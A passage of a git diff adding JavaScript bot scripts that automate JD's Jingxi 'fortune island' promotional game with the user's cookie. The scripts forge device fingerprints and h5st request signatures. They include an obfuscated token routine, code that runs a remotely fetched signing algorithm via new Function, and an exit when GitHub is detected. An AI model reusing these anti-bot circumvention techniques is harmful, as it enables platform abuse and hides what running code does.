'小海螺' + break + case '把我放在耳边,就能听到大海的声音了~': + dwName = '大海螺' + break + case '只要诚心祈祷,愿望就会实现哦~': + dwName = '海星' + break + default: + break + } + if (data.iRet === 0) { + console.log(`捡贝壳成功:捡到了${dwName}`) + } else if (data.iRet === 5403 || data.sErrMsg === '这种小贝壳背包放不下啦,先去卖掉一些吧~') { + console.log(`捡贝壳失败:${data.sErrMsg}`) + await $.wait(3000) + await querystorageroom() + } else { + console.log(`捡贝壳失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + + // 热气球接客 + async function speedUp() { + let strBuildIndexArr = ['food', 'sea', 'shop', 'fun'] + let strBuildIndex = strBuildIndexArr[Math.floor((Math.random() * strBuildIndexArr.length))] + return new Promise(async (resolve) => { + $.get(taskUrl(`user/SpeedUp`, `strBuildIndex=${strBuildIndex}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} SpeedUp API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`热气球接客成功:已接待 ${data.dwTodaySpeedPeople} 人\n`) + } else if (data.iRet === 2027 || data.sErrMsg === '今天接待人数已达上限啦~') { + console.log(`热气球接客失败:${data.sErrMsg}\n`) + } else { + console.log(`热气球接客失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + + // 获取用户信息 + function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { + iret, + buildInfo = {}, + ddwRichBalance, + ddwCoinBalance, + JxUserWelfare, + sErrMsg, + strMyShareId, + strNickName, + dwLandLvl, + Fund = {} + } = data; + const dwIsJxNewUser = JxUserWelfare["dwIsJxNewUser"] + if (showInvite) { + console.log(`\n获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的可继续使用`); + console.log(`\n【京东账号${$.index} ${$.UserName} 的${$.name}好友互助码】${strMyShareId}\n\n`); + $.shareCodes.push(strMyShareId) + } + $.info = { + ...$.info, + buildInfo, + ddwRichBalance, + ddwCoinBalance, + dwIsJxNewUser, + strMyShareId, + strNickName, + dwLandLvl, + Fund + }; + resolve({ + buildInfo, + ddwRichBalance, + ddwCoinBalance, + dwIsJxNewUser, + strMyShareId, + strNickName, + Fund + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); }); - var hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); - return encodeURIComponent(["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat(appId.toString()), "".concat(token), "".concat(hash2)].join(";")); -} -function generateFp() { - var e = "0123456789"; - var a = 13; - var i = ''; - for (; a--;) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0, 16); -} -function getQueryString(url, name) { - var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); - var r = url.split('?')[1].match(reg); - if (r != null) - return unescape(r[2]); - return ''; -} \ No newline at end of file + } + + function taskUrl(function_path, body) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; + } + + function taskListUrl(function_path, body, bizCode = 'jxbfd') { + let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CconfigExtra%2CdwEnv%2Cptag%2Csource%2CstrZone%2CtaskId&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; + } + + function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); + } + + function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) + } + function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } + } + /* + 修改时间戳转换函数,京喜工厂原版修改 + */ + Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; + } + + async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) + } + function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } + } + + /** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ + function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } + } + /** + * 模拟生成 fingerprint + * @returns {string} + */ + function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) + } + var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; + !function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); + // prettier-ignore + function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_earn30.js b/jd_earn30.js new file mode 100755 index 0000000..ef14402 --- /dev/null +++ b/jd_earn30.js @@ -0,0 +1,535 @@ +/* +赚30元 